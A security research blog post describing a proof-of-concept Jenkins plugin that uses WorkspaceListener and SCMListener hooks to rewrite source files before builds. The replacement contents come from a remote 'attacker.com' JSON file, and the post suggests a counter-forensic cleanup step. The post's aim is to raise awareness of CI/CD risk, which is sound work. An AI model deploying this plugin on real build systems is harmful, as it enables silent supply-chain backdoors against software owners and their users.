When I first joined Synopsys, one of my colleagues posed an interesting question in one of our chat channels: how would one go about backdooring Maven builds in Jenkins? I found this intriguing but didn’t have much time to pursue it.
For the uninitiated, Jenkins is the most popular automation tool for building, testing, and deploying software in CI/CD. It is open source and used by many companies, large and small, to build their software.
Recent high-profile breaches have brought renewed attention to supply chain security, and I decided to revisit the question and develop a proof-of-concept Jenkins plugin that can add an attacker’s modifications to source code before it is built—no commits to the upstream source repository needed.
Before I proceed to the code, a few points:
Now for the technical details.
Jenkins provides a variety of extension points which function as lifecycle modifiers for plugins. Two that seem relevant here are WorkspaceListener and SCMListener. The former’s beforeUse() method will allow us to manipulate workspaces before builds occur and the latter’s onCheckout() method will allow us to manipulate workspaces after code is pulled from source repositories (but again, before builds).
We can briefly observe how this works by examining the source of AbstractBuild.AbstractBuildExecution’s run() method:
Before the build is actually run (line 504), beforeUse() is called on registered WorkspaceListener instances (line 495). And checkout() (line 499) calls defaultCheckout() which, in turn, calls onCheckout() on registered SCMListener instances if the checkout succeeds.
By registering instances of both, we can be flexible about projects covered: those that do not use any SCM will be covered by WorkspaceListener, whereas for those that do, SCMListener is necessary since any changes made with the WorkspaceListener will be wiped out by the checkout.
With that, we can create a couple of simple listeners:
1 2 3 4 5 6 7
|
@Extension public class WorkspaceBackdoorerListener extends WorkspaceListener { @Override public void beforeUse(AbstractBuild b, FilePath workspace, BuildListener listener) { Backdoorer.backdoorFiles(b, workspace); } }
|
1 2 3 4 5 6 7 8
|
@Extension public class WorkspaceBackdoorerSCMListener extends SCMListener { @Override public void onCheckout(Run<!--?,?--> build, SCM scm, FilePath workspace, TaskListener listener, File changelogFile, SCMRevisionState pollingBaseline) throws Exception { Backdoorer.backdoorFiles((AbstractBuild) build, workspace); } }
|
How to go about modifying the files depends on stealth requirements, how often the targeted file or files change, etc. In the following example, the plugin requests a remote JSON file containing an array with:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
public class Backdoorer { private static final String cmdUrl = "https://attacker.com/command.json";
protected static void backdoorFiles(AbstractBuild b, FilePath workspace) { String projUrl = b.getProject().getUrl();
HttpResponse<JsonNode> response = Unirest.get(cmdUrl).asJson(); JsonNode resp = response.getBody();
for(Object project : resp.getArray()) { JSONObject p = (JSONObject) project;
if(p.getString("projUrl").equals(projUrl)) { String pattern = p.getString("searchPattern");
try { FilePath[] workspaceFiles = workspace.list(pattern);
for(Object replacement : p.getJSONArray("replacements")) { JSONObject r = (JSONObject) replacement; String filename = r.getString("filename"); String digest = r.getString("digest"); String newContents = r.getString("newContents");
Arrays.stream(workspaceFiles).filter(f -> f.getName().equals(filename)).forEach(f -> { try { if(f.digest().equals(digest)) { f.write(newContents, null); } } catch (IOException | InterruptedException e) { e.printStackTrace(); } }); }
} catch (IOException | InterruptedException e) { e.printStackTrace(); } } } } }
|
The code is pretty straightforward (and lacks caching) but notice that the file operations use Jenkins’ own FilePath class rather than Java’s native File class. The former will transparently handle files located on remote build agents.
The modified file will remain in the workspace after the build has completed. As a counter-forensic measure, one may want to revert it to its original state; I have not tried to implement this, but looking at Jenkins’s extension points it looks as though a viable approach would be to create a BuildStepListener with a finished() method that checks whether its BuildStep argument is an instance of Notifier.
Let’s consider the following extremely basic freestyle project, which simply pulls and builds a sample Maven project:
We can see from the source code that the built main class should just print “Hello world.“ So we’ll craft a JSON file to instruct the plugin how to modify this file:
[
{
"projUrl": "job/Test/",
"searchPattern": "**",
"replacements": [
{
"filename": "App.java",
"digest": "3efe91774afb84a68f0d81ee3610510f",
"newContents": "package com.github.jitpack;\r\n\r\n\/**\r\n * Hello world!\r\n *\r\n *\/\r\npublic class App\r\n{\r\n public static void main(String[] args)\r\n {\r\n System.out.println(new App().greet(\"world\"));\r\n }\r\n\r\n public String greet(String name) {\r\n return \"You've been backdoored, \" + name;\r\n }\r\n}"
}
]
}
]
And serve it:
So when we run the build, we see that it’s pulling the source code from Git…
…but when we run the built version, we see that it’s been modified:
Hopefully this gives a taste of the relative simplicity of turning a compromised Jenkins instance against its owners. And it goes far beyond “just” backdooring code: Jenkins and similar systems are often full of credentials to other systems, including production on-premise Active Directory environments, cloud environments, Kubernetes environments, etc. Distributed build agents can allow lateral movement into other network segments. And of course, source code and built artifacts that are, by nature, accessible to these systems can constitute valuable IP that should not be leaked.
All these possibilities—many of which don’t need the high privilege levels shown in this example—make Jenkins instances, CI/CD systems in general, and “development infrastructure” overall appealing targets for attackers. Hence, they must be subject to robust patch management, access control, and configuration management measures; security assessments performed by an organization or its vendors should be sure to cover these systems to evaluate the controls in place.